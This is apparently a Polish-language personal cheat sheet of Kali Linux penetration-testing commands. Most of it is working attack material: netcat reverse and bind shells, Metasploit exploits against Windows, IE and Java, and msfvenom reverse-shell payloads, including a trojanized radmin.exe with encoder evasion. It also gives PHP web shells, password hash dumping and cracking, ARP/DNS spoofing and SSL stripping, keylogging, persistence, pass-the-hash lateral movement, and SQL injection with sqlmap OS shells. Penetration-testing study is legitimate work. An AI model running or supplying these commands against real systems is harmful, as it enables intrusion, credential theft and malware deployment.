Progmar Marcin Załęczny

Język:

Polecenia sieciowe i testy penetracyjne w systemie Kali Linux

Programy do pobrania:


Nessus - skaner bezpieczeństwa
    http://www.tenable.com/products/nessus-home
Uruchomienie: /etc/init.d/nessusd start Konfiguracja: https://kali:8834/ Przy pierwszym otwarciu powyższego adresu aplikacja udostępni interfejs tworzenia konta do logowania oraz możliwość wpisania klucza otrzymanego przy rejestracji (przed pobraniem programu ze strony producenta). Następnie nastąpi inicjalizacja silnika skanera oraz pobranie i instalacja sygnatur. Proces ten trwa kilka godzin i zużywa średnio 100% procesora. Ja nastawiłem cały proces na noc i rano jak się obudziłem to wszystko było już gotowe.

mingw-w64 - służy m.in. do kompilacji pod Linuksem programów dla Windowsa 64-bit:
Upewniamy się, że w pliku /etc/apt/sources.list znajdują się repozytoria: # Regular repositories
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
# Source repositories
deb-src http://http.kali.org/kali sana main non-free contrib
deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
Jeśli ich nie ma to je wklejamy i wykonujemy polecenia: apt-get clean
apt-get update
apt-get upgrade
apt-get install mingw-w64


Przetestowanie czy podany port (5500) jest otwarty na zdalnej maszynie: nc -v 192.168.10.1 5500

Sprawdzenie czy wysłanie pakietu FIN do zamkniętego portu nie spowoduje odesłania pakietu RST/ACK: sudo nmap -sF

Sprawdzenie czy wysłanie pakietu ACK nie będącego częścią ustanowionej sessji nie spowoduje odesłania odpowiedzi: sudo nmap -sA

Zbadanie czy port UDP (5500) jest otwarty na zdalnej maszynie: sudo hping3 -2 -p 5500 192.168.8.100

Sprawdzenie czy wysłanie odpowiedzi na pakiet icmp echo, który nie był wcześniej wysłany przez zdalną maszynę, spowoduje odesłanie odpowiedzi: sudo hping3 -1 --icmptype echo-reply 192.168.8.100

Wysłanie jednego pakitu icmp echo do zdalnej maszyny: ping -c 1 192.168.8.100

Wysłanie pakietu icmp echo bez danych za nagówkiem icmp: sudo nmap -sP 192.168.8.100 lub: ping -s 0 192.168.8.100

Adresy rozgłoszeniowe: 224.0.0.0 - 239.255.255.255

Skanowanie TCP connect podanej maszyny (uprawnienia roota nie są potrzebne): nmap -P0 -sT 192.168.8.100 lub: nmap -sT -n 192.168.8.100 --max-rtt-timeout 500ms

Skanowanie TCP SYN podanej maszyny: sudo nmap -P0 -sS 192.168.8.100 lub (brak opcji określającej typ skanowania, gdyż skanowanie TCP SYN jest domyślne): sudo nmap -n 192.168.8.100 --max-rtt-timeout 500ms

Skanowanie TCP FIN podanej maszyny: sudo nmap -P0 -sF 192.168.8.100

Skanowanie TCP XMAS podanej maszyny: sudo nmap -P0 -sX 192.168.8.100

Skanowanie TCP NULL podanej maszyny: sudo nmap -P0 -sN 192.168.8.100

Skanowanie TCP ACK podanej maszyny: sudo nmap -P0 -sA 192.168.8.100

Skanowanie portów UDP podanej maszyny: sudo nmap -P0 -sU 192.168.8.100 lub: sudo nmap -sU -n 192.168.8.100 --max-rtt-timeout 500ms

Skanowanie podanej sieci w poszukiwaniu otwartego portu SSH: sudo nmap -P0 -p 22 -sS 192.168.8.0/24

Wykrywa wersję usługi nasłuchującej na podanym porcie (80): sudo nmap -sV -P0 -p 80 -n 192.168.8.100

Skanowanie TCP SYN podanej maszyny (192.168.8.100) z podstawionym adresem 10.0.0.1 jako adresem źródłowym z wykorzystaniem interfejsu eth0: sudo nmap -P0 -sS -S 10.0.0.1 -e eth0 192.168.8.100

Uruchomienie netcata jako serwer TCP nasłuchujący na porcie 5001. Program ten oczekuje na dane przesłane przez sieć i po ich otrzymaniu wypisuje je na ekran i kończy działanie: nc -l 5001

Uruchomienie netcata jako serwer UDP nasłuchujący na porcie 5002. Program ten oczekuje na dane przesłane przez sieć i po ich otrzymaniu wypisuje je na ekran i kończy działanie: nc -u -l 5002

Wysłanie podanego po komendzie echo tekstu do serwera działającego na porcie TCP 5001 podanej maszyny przy pomocy programu nc (netcat): echo "To jest napis 12345" | nc 192.168.8.100 5001

Wysłanie 10 bajtów 0xa5 do serwera działającego na porcie UDP 5002 podanej maszyny przy pomocy programu nc (netcat): perl -e 'print "\xa5"x10' | nc -u 192.168.8.100 5002

Zrestartowanie usług sieciowych (np. po edycji pliku /etc/network/interfaces): service networking restart

Uruchomienie netcata w trybie serwera nasłuchującego na porcie 1234: nc -lvtp 1234

Wysłanie danych do serwera nasłuchującego na porcie 1234 maszyny localhost (127.0.0.1): nc -vt 127.0.0.1 1234

Uruchomienie netcata w trybie serwera nasłuchującego na porcie 1234. Każda nadesłana linia danych będzie przetwarzana przez powłokę /bin/sh a wynik będzie przesłany klientowi: nc -lvtp 1234 -e /bin/sh

Połączenie się z procesem serwera na porcie 1234 localhosta i udostępnienie serwerowi możliwości wykonywania i otrzymywania rezultatów poleceń wykonywanych w procesie powłoki kienta: nc -vt 127.0.01 1234 -e /bin/sh

Metasploit w Kali 2

Uruchomienie servera bazy danych postgresql: systemctl start postgresql

Zainicjalizowanie bazy danych dla programu metasploit: msfdb init

Teraz możemy uruchomić konsolę metasploita: msfconsole

Wyszukanie w bazie danych metasploita exploita wykorzystującego lukę o podanym numerze (ms08-067): msf> search ms08-067

Wyświetlenie szczegółów na temat podanego exploita: msf> info exploit/windows/smb/ms08_067_netapi

Przełączenie metasploita do kontekstu modułu dla wybranego exploita: msf> use windows/smb/ms08_067_netapi

Wyświetla jakie opcje są niezbędne do uruchomienia wybranego modułu/exploita: msf exploit(ms08_067_netapi)> show options

Ustawienie wybranej opcji (tutaj RHOST): msf exploit(ms08_067_netapi)> set RHOST 192.168.10.100

Wyświetla listę systemów operacyjnych, z którymi działa wybrany moduł/exploit: msf exploit(ms08_067_netapi)> show targets

Ustawia wybrany system docelowy ataku (numer pobieramy z listy otrzymanej po wydaniu polecenia show targets): msf exploit(ms08_067_netapi)> set target numer

Wyświetla listę ładunków kompatybilnych z wybranym modułem/exploitem: msf exploit(ms08_067_netapi)> show payloads

Uruchomienie wybranego exploita: exploit

Wyjście z powłoki meterpreter uruchomionej po pomyślnym włamaniu do zdalnego systemu: meterpreter> exit

Wybranie dla modułu/exploita ładunku typu reverse shell: msf exploit(ms08_067_netapi)> set payload windows/shell_reverse_tcp

Zakończenie pracy z konsolą msfconsole: msf exploit(ms08_067_netapi)> exit

Program do generowania ładunków dla Metasploita: msfvenom -h

Wyświetla listę dostępnych ładunków: msfvenom -l payloads

Wyświetla listę opcji dla wybranego ładunku (windows/meterpreter/reverse_tcp): msfvenom -p windows/meterpreter/reverse_tcp --payload-options

Wyświetla listę dostępnych formatów ładunków: msfvenom --help-formats

Wygenerowanie pliku wykonywalnego payload.exe, który uruchamia powłokę meterpreter łączącą sie z podanym hostem na podanym porcie: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.101 LPORT=443 --platform windows --arch x86 -f exe >payload.exe

Wygenerowanie programu obsługującego połączenia po stronie atakującego nadchodzące z komputerów ofiar, które uruchomiły powyższy plik payload.exe: msfconsole
msf> use multi/handler
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.10.101
msf exploit(handler)> set LPORT 443
msf exploit(handler)> exploit
Ostatnia z powyższych komend utworzy proces nasłuchujący na porcie 443.

Użycie modułu pomocniczego scanner/smb/pipe_auditor do wyświetlenia listy potoków nasłuchujących na serwerze SMB na zdalnej maszynie: msf> use scanner/smb/pipe_auditor
msf auxiliary(pipe_auditor)> set RHOSTS 192.168.10.100
msf auxiliary(pipe_auditor)> exploit

Polecenie powłoki pozwalające pobranie najnowszej bazy modułów/exploitów dla Metasploita: msfupdate

Wyświetla wszystkie skrypty (w katalou /usr/share/nmap/scripts) należące do kategorii default: nmap --sript-help default

Wyświetla szczegółowe informacje na temat podanego skryptu (nfs-ls): nmap --sript-help nfs-ls

Skanuje podany host w poszukiwaniu otwartych portów oraz wykonuje na nich wszystkie skrypty w kategorii default: nmap -sC 192.168.10.100 lub równoważnie: nmap --script=default 192.168.10.100

Skanuje podany host w poszukiwaniu otwartych portów oraz wykonuje na nich podany skrypt (nfs-ls): nmap --script=nfs-ls 192.168.10.100

Sprawdzenie w konsoli metasploita czy na podanych hostach (192.168.10.100-192.168.10.110 i 192.168.56.1) jest uruchomiona usługa ftp, która zezwala na anonimowy dostęp: msfconsole
msf> use scanner/ftp/anonymous
msf> set RHOSTS 192.168.10.100-110 192.168.56.1
msf> exploit

Sprawdzenie bez uruchamiania exploita czy podana maszyna jest na niego podatna: msfconsole
msf> use windows/smb/ms08_067_netapi
msf> set RHOST 192.168.10.100
msf> check

Sprawdzenie podatności strony internetowej na podanej maszynie: nikto -h 192.168.10.100

Próba zalogowania się do panelu WebDAV na podanym hoście przy użyciu domyślnej nazwy użytkownika i hasła: cadaver http://192.168.10.100/wedav Wysłanie na powyższą maszynę pliku text.txt: dav:/webdav/> put test.txt

Sprawdzenie na serwerze poczty, czy podany użytkownik istnieje: nc 192.168.10.100 25
VRFY username
^D

Włączenie na bieżącej maszynie (192.168.10.101) przekazywania pakietów i zatrucie arp cache maszyny 192.168.10.100 podszywając się pod maszynę 192.168.10.110 (od tej pory maszyna 192.168.10.101 udaje maszynę 192.168.10.110): echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.10.100 192.168.10.110
I zostało jeszcze do zrobienia tgo samego, tyle że w odwrotną stronę. W tym celu uruchamiamy kolejną instancję arpspoof (od teraz 192.168.10.101 przekazuje pakiety pomiędzy 192.168.10.100 <=> 192.168.10.110): arpspoof -i eth0 -t 192.168.10.110 192.168.10.100

Zamiana adresu domeny na adres IP: nslookup www.google.pl

Zatruwanie DNS przy użyciu dnsspoof: cat hosts.txt
192.168.10.101 www.google.pl
dnsspoof -i eth1 -f hosts.txt

Przechwycenie całej komunikacji pomiędzy bramą 192.168.10.1 a maszyną 192.168.10.110: ettercap -Ti eth0 -M arp:remote /192.168.10.1/ /192.168.10.110/

Przeprowadzenie ataku SSL Stripping:

  1. Uruchamiamy arpspoofing pomiędzy komputerem ofiary a bramą domyślną
  2. iptables -t nat -A PREROUTING -p tcp-destination-port 80 -j REDIRECT -to-port8080
  3. Uruchamiamy program sslstrip: sslstrip -l 8080

Wygenerowanie skryptu php otwierającego - po wejściu na adres tego skryptu na serwerze www - powłokę meterpreter (niewidoczną w postaci okienka) łączącą się na podanym porcie z podanym hostem: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2323 -f raw >meterpreter.php Uruchomienie nasłuchiwania na porcie 2323 na nowe połączenie otwarte po wejściu przeglądarką na adres pliku meterpreter.php: msfconsole
msf> use multi/handler
msf> set payload php/meterpreter/reverse_tcp
msf> set LHOST 192.168.56.101
msf> set LPORT 2323
msf> exploit
Po nawiązaniu połączenia możemy pobrać nazwę użytkownika, na którego prawach działamy: meterpreter> getuid Wykonuje zrzut wartości skrótu haseł systemu windows: meterpreter> hashdump

Wykorzystanie mysql do zapisania na serwerze www dowolnego skryptu: SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\xampp\\htdocs\\shell.php"

Przeszukiwanie bazy exploitów/modułów Metasploita w poszukiwaniu podanego systemu: msf> search drupal

Uzyskanie informacji o wybranym exploicie/module: msf> info unix/webapp/php_xmlrpc_eval

Przeszukanie podanej strony (oraz linków do podstron o maksymalnym zagnieżdżeniu równym 1) w poszukiwaniu co najmniej 5-cio znakowych słów i zapisanie ich w pliku passwords.txt: cewl -w passwords.txt -d 1 -m 5 progmar.net.pl

Wygenerowanie słownika haseł o rozmiarze od 7 do 8 znaków składających się wyłącznie z liter A i B: crunch 7 8 AB

Zgadywanie użytkowników oraz ich haseł na podanym serwerze POP3: hydra -L userlist.txt -P passwords.txt 192.168.56.1 pop3

Zgadywanie hasła podanego użytkownika (mzaleczny) na podanym serwerze POP3: hydra -l mzaleczny -P passwords.txt 192.168.56.1 pop3

W systemie windows w katalogu c:\windows\repair znajdują się pliki:
sam - który zawiera zaszyfrowaną zawartość wszystkich kont użytkowników i haszy ich haseł
system - który zawiera systemowy klucz użyty do zaszyfrowania powyższego pliku.
Aktualne/Produkcyjne wersje tych plików są umieszczone w katalogu c:\windows\system32\config. Żeby wyciągnąć nazwy kont użytkowników oraz hasze ich haseł wykonujemy polecenia: bkhive system xpkey.txt
samdump2 sam xpkey.txt
Wynik powyższego polecenia (lub wynik polecenia "meterpreter> hashdump" opisanego wyżej) zapisujemy do pliku "ntpasswords.txt" i w celu odgadnięcia haseł wywołujemy polecenie: john ntpasswords.txt

Programu john możemy też używć do łamania haseł linuksowych: john linux_passwords.txt -wordlist dictionary.txt

Ładunek AllPorts służy do nawiązana połączenia na pierwszym porcie systemu ofiary, który nie jest filtrowany (chroniony prze firewall). Sprawdzane są po kolei wszystkie porty począwszy od 1: msf exploit(ms08_067_netapi)> set payload windows/shell/reverse_tcp_allports
msf exploit(ms08_067_netapi)> show options
msf exploit(ms08_067_netapi)> exploit

Użycie exploita Aurora by wykorzystać lukę w IE i nawiązać połączenie z powłoką: msf> use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora)> show options
msf exploit(ms10_002_aurora)> set SRVHOST 192.168.1.101
msf exploit(ms10_002_aurora)> set SRVPORT 80
msf exploit(ms10_002_aurora)> set URIPATH aurora
msf exploit(ms10_002_aurora)> set payload windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora)> set LHOST 192.168.1.101
msf exploit(ms10_002_aurora)> exploit
Teraz wejście ofiary na adres http://192.168.1.101/aurora spowoduje uruchomienie exploita i uzyskanie przez hosta 192.168.1.101 dostępu do powłoki (o ile ofiara jest podatna na ten atak).

Podłączenie się do podanej sesji: msf exploit(ms10_002_aurora)> sessions -i SESSION_ID

Wyświetlenie zadań działających w tle w obrębie konsoli Metasploita: msf exploit(ms10_002_aurora)> jobs

Ubicie podanego zadania w obrębie konsoli Metasploita: msf exploit(ms10_002_aurora)> kill JOB_ID

Wyświetla zaawansowane parametry wybranego modułu/exploita: msf exploit(ms10_002_aurora)> show advanced

Podpięcie skryptu migrate.rb z parametrem -f tak, żeby był on wykonany automatycznie po nawiązaniu połączenia z ofiarą. Powoduje on przeniesienie powłoki Meterpretera do nowo utworzonego procesu notatnika w systemie ofiary (dzięki temu nie stracimy połączenia po zamknięciu zawieszonego IE): msf exploit(ms10_002_aurora)> set AutoRunScript migrate -f
msf exploit(ms10_002_aurora)> exploit
Alternatywą może być ustawienie na true zaawansowanego parametru "PrependMigrate", który spowoduje migrację do nowego procesu jeszcze przed odpaleniem ładunku.

Przygotowanie złośliwego pdf-a i nasłuchiwanie wielu połączeń zwrotnych: msf> use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf)> show options
msf exploit(adobe_utilprintf)> exploit
msf exploit(adobe_utilprintf)> cp /root/.msf4/local/msf.pdf /var/www
msf exploit(adobe_utilprintf)> systemctl start apache2
Przechwytywanie połączeń od ofiar: msf exploit(adobe_utilprintf)> use multi/handler
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.101
msf exploit(handler)> set ExitOnSession false
Uruchamiamy handlera jako zadanie w tle: msf exploit(handler)> exploit -j

Exploit na system z Javą < 7 Update 11 w przeglądarce: msf> use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean)> set SRVHOST 192.168.1.101
msf exploit(java_jre17_jmxbean)> set SRVPORT 80
msf exploit(java_jre17_jmxbean)> set URIPATH javaexploit
msf exploit(java_jre17_jmxbean)> set payload java/meterpreter/reverse_http
msf exploit(java_jre17_jmxbean)> set LHOST 192.168.1.101
msf exploit(java_jre17_jmxbean)> exploit

Aplet exploit na przeglądarkę z Javą: msf> use exploit/multi/browser/java_signed_applet
msf exploit(java_signed_applet)> set APPLETNAME CustomAppletName
msf exploit(java_signed_applet)> set SRVHOST 192.168.1.101
msf exploit(java_signed_applet)> set SRVPORT 80
msf exploit(java_signed_applet)> set URIPATH javaappletexploit
msf exploit(java_signed_applet)> set target 0
msf exploit(java_signed_applet)> set payload java/meterpreter/reverse_tcp
msf exploit(java_signed_applet)> set LHOST 192.168.1.101
msf exploit(java_signed_applet)> exploit

Moduł rozpoznający przeglądarkę i stosujący wszystkie dostępne exploity, które mogą odnieść sukces: msf> use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn)> set LHOST 192.168.1.101
msf auxiliary(browser_autopwn)> set URIPATH autopwn
msf auxiliary(browser_autopwn)> exploit
Wylistowanie sesji z przechwyconym shellem u ofiar: msf auxiliary(browser_autopwn)> sessions -l

Program do przeprowadzania ataków typu social enginering (przesyłanie złośliwych załączników pocztą e-mail, tworzenie stron phishingowych, etc. - preinstalowany w Kali Linux): setoolkit

W Kali Linuksie w kataogu /usr/share/windows-binaries znajduje się kilka exe-ków, które można wykorzystać do zamieszczenia ładunków (można to też zrobić z dowolnymi innymi plikami exe). Oto jak przygotować trojana: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe Proces nasłuchujący poleceń z powłoki meterpreter uruchamiamy w Metasploicie za pomocą ładunku handler: msfconsole
msf> use multi/handler
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.101
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit

Polecenie działające jak wyżej, ale wykonuje 10 iteracji szyfrowania ładunku enkoderem x86/shikata_ga_nai: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -x /usr/share/windows-binaries/radmin.exe -e x86/shikata_ga_nai -i 10 -k -f exe >radmin_coded.exe

Wypisanie listy encoderów obsługiwanych przez program msfvenom: msfvenom -l encoders

Wielokrotne zaszyfrowanie ładunku różnymi enkoderami: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw >radmin_coded.bin
msfvenom -p - -x /usr/share/windows-binaries/radmin.exe -k -f exe -a x86 --platform windows -e x86/bloxor -i 2 >radmin_coded2.exe <radmin_coded.bin

Utworzenie ładunku w formacie łańcucha znaków (kodów bajtowych) w języku C: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f c >radmin.c

Utworzenie losowego łańcucha 512-u znaków: cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512

Zaszyfrowanie binarki input.exe programem hyperion.exe i utworzenie pliku wyjściowego output.exe: wine hyperion.exe input.exe output.exe

Uruchomienie servera tftpd na Kali Linux: apt-get install atftpd
systemctl start atftpd
Przesyłanie pliku na maszynę z windowsem za pomocą powłoki cmd: tftp -i 192.168.1.101 GET plik.txt Pobieranie pliku z maszyny z windowsem za pomocą powłoki cmd: tftp -i 192.168.1.101 PUT plik.txt

Skrypty Meterpretera znajdują się w katalogu: /usr/share/metasploit-framework/scripts/meterpreter. Aby uruchomić skrypt wykonujemy komendę: meterpreter> run script-name Pomoc dotyczącą skryptu otrzymujemy przy pomocy komendy: meterpreter> run script-name -h

Wyświetlenie listy działających procesów: meterpreter> ps

Przeniesienie sesji meterpretera do procesu o id 1234: meterpreter> run migrate -p 1234

Przeniesienie bieżącej sesji do pracy w tle: meterpreter> background

Pobranie listy zalogowanych użytkowników podanej sesji w systemie: msf> use post/windows/gather/enum_logged_on_users
msf post(enum_logged_on_users)> set SESSION 1
msf post(enum_logged_on_users)> exploit

Wywołanie dowolnej funkcji WinAPI, np sprawdzenie czy bieżący użytkownik jest adminem: msf> sessions -i 1
meterpreter> irb
>> client.railgun.shell32.IsUserAdmin
>> exit

Wykonanie szeregu exploitów aż do uzyskania uprawnień użytkownika SYSTEM lub do wyczerpania się exploitów: meterpreter> getsystem
meterpreter> getuid

Powrót do uprawnień poprzedniego użytkownika: meterpreter> rev2self

Uruchomienie exploita dla systemu Windows XP SP2/SP3 do podniesienia uprawnień: msf> use exploit/windows/local/ms11_080_afdjoinleaf
msf exploit(ms11_080_afdjoinleaf)> set SESSION 1
msf exploit(ms11_080_afdjoinleaf)> set payload windows/meterpreter/reverse_tcp
msf exploit(ms11_080_afdjoinleaf)> set LHOST 192.168.1.101
msf exploit(ms11_080_afdjoinleaf)> exploit

Ominięcie UAC (User Account Control - kontrola konta użytkownika) w systemie Windows 7: msf> use exploit/windows/local/bypassuac
msf exploit(bypassuac)> set SESSIoN 1
msf exploit(bypassuac)> exploit
meterpreter> getuid
Powyższe komendy otworzą nową sesję meterpretera z brakiem kontroli UAC, więc teraz powinno zadziałać polecenie: meterpreter> getsystem

Przejście z meterpretera do powłoki systemu Linux (oczywiście na skompromitowanym systemie Linux): meterpreter> shell I wykonanie podstawowych poleceń: > whoami
> uname -a
> lsb_release -a
> udevadm --version

Przeszukanie lokalnej bazy exploitów dla programu udev: /usr/share/exploitdb/searchsploit udev

Uruchomienie nc jako serwera nasłuchującego na porcie 12345: nc -lvp 12345 Połączenie się netcatem z powyższym serwerem i podpięcie powłoki jako programu obsługującego wejście: nc 127.0.0.1 12345 -e /bin/bash Od tej chwili w powłoce pierwszego z powyższch dwóch poleceń nc możemy wydawać polecenia powłoki linuksowej, które będą wykonywane zdalnie.

Wyszukiwanie w meterpreterze plików, które w nazwie mają słowo password: meterpreter> search -f password

Uruchomienie wbudowanego w meterpretera key-loggera: meterpreter> keyscan_start Wyświetlenie przechwyconych naciśnięć klawiszy: meterpreter> keyscan_dump Zatrzymanie key-loggera: meterpreter> keyscan_stop

Przechwycenie haseł zapisanych w programie WinSCP w systemie Windows: msf> use post/windows/gather/credentials/winscp
msf post(winscp)> set session 1
msf post(winscp)> exploit

Wyświetlenie listy użytkowników w systemie Windows: cmd c:\> net users

Wyświetlenie listy lokalnych administratorów w systemie Windows: cmd c:\> net localgroup Administratorzy

Po przejęciu jednego hosta z Windowsem, możemy próbować zdobyć inne hosty w domenie np. za pomocą exploita psexec: msf> use exploit/windows/smb/psexec
msf exploit(psexec)> set RHOST 192.168.1.102
msf exploit(psexec)> set SMBUser username
msf exploit(psexec)> set SMBPass userpassword
msf exploit(psexec)> set SMBDomain GRUPA_ROBOCZA
msf exploit(psexec)> exploit

Wykorzystanie modułu/exploita psexec do zalogowania się na zdalnego hosta znając wyłącznie hash prawdziwego hasła: msf exploit(psexec)> set SMBPass password_LM_or_NTLM_hash
msf exploit(psexec)> exploit

Zastosowanie modułu/exploita sshexec do zalogowania się na zdalny system linuksowy: msf> use exploit/multi/ssh/sshexec
msf exploit(sshexec)> set RHOST 192.168.1.102
msf exploit(sshexec)> set USERNAME user_name
msf exploit(sshexec)> set PASSWORD my_password
msf exploit(sshexec)> set payload linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec)> set LHOST 192.168.1.101
msf exploit(sshexec)> exploit
meterpreter> getuid
meterpreter> shell
> whoami

Załadowanie modułu incognito do obsługi tokenów w systemie Windows: msf> load incognito Wyświetlenie w meterpreterze listy dostępnych tokenów: meterpreter> list_tokens -u Zdobycie uprawnień danego użytkownika (skojarzonego z podanym tokenem 'COMPXP\\username'): meterpreter> impersonate_token COMPXP\\username

Uruchomienie w środowisku domenowym Windows serwera smb, który nasłuchuje na porcie 445 i zapisuje hashe haseł użytkowników do pliku /root/johnpwfile: msf> use auxiliary/server/capture/smb
msf auxiliary(smb)> set JOHNPWFILE /root/johnpwfile
msf auxiliary(smb)> exploit
Następnie z przechwyconej maszyny możemy wymusić połączenie smb z fake'owym serwerem 192.168.1.100: meterpreter> shell
C:\windows\system32> net use \\192.168.1.100\cokolwiek

Wyświetlenie informacji o konfiguraji sieciowej hosta, na którym działa meterpreter: meterpreter> ifconfig

Przekierowanie całego ruchu do sieci 192.168.80.0/24 przez sesję numer 2 (zawierającą połączenie z przechwyconym routerem mającym dostęp do tej sieci) - tak zwany pivot: msf> route add 192.168.80.0 255.255.255.0 2

Skanowanie portów przy pomocy Metasploita: msf> use scanner/portscan/tcp
msf auxiliary(tcp)> set RHOST 192.168.1.101
msf auxiliary(tcp)> exploit

Uruchomienie w Metasploicie serwera proxy socks4a: msf> use auxilary/server/socks4a
msf auxiliary(socks4a)> set SRVPORT 4040
msf auxiliary(socks4a)> exploit
Teraz w pliku /etc/proxychains.conf zmieniamy linijkę: socks4 127.0.0.1 9050 na: socks4 127.0.0.1 4040 Od teraz można przez pivota wykonywać programy sieciowe na zewnątrz Metasploita przy pomocy programu proxychains, np.: root@kali:~# proxychains nmap -Pn -sT -sV -p 21,22,25,80,445

Dodanie nowego użytkownika wraz z dodaniem go do domeny w środowisku domenowym: C:\> net use marcin mypassword /add /domain Dodanie nowo utworzonego użytkownika do grupy administratorów: C:\> net localgroup Administratorzy marcin /add

Utworzenie w przechwyconym systemie Windows skryptu VisualBasic uruchamianego przy starcie systemu i próbującego co 10 min. połączyć się z koputerem napastnika: meterpreter> run persistence -r 192.168.1.100 -p 12345 -X -i 600

Uruchomienie programu burpsuite: Programy -> Analiza Web-Aplikacji -> burpsuite Konfiguracja serwera proxy w Firefokse: Menu Edycja -> Właściwości -> Zaawansowane i tam przełączamy się do karty "Sieć" a następnie klikamy przycisk "Ustawienia". Otworzy się okienko, gdzie możemy ustawić serwer proxy.

Wstrzykiwanie kodu do zmiennych wykorzystywanych w aplikacjach webowych: http://someapp.pl/login.php?username=' OR '1'='1&password=' OR '1'='1
http://someapp.pl/item.php?id=4 or 1 in (show databases)

Zautomatyzowane wyciągnięcie informacji o bazie danych: sqlmap -u "http://someapp.pl/item.php?id=4" --dump

Próba uzyskania dostępu do linii poleceń systemu, w którym działa SQL Server: sqlmap -u "http://someapp.pl/item.aspx?id=4" --os-shell Wykorzystywana jest do tego komenda xp_cmdshell SQL Servera.

Wszystkie exploity Metasploita znajdują się w następującym katalogu: /usr/share/metasploit-framework/modules/exploits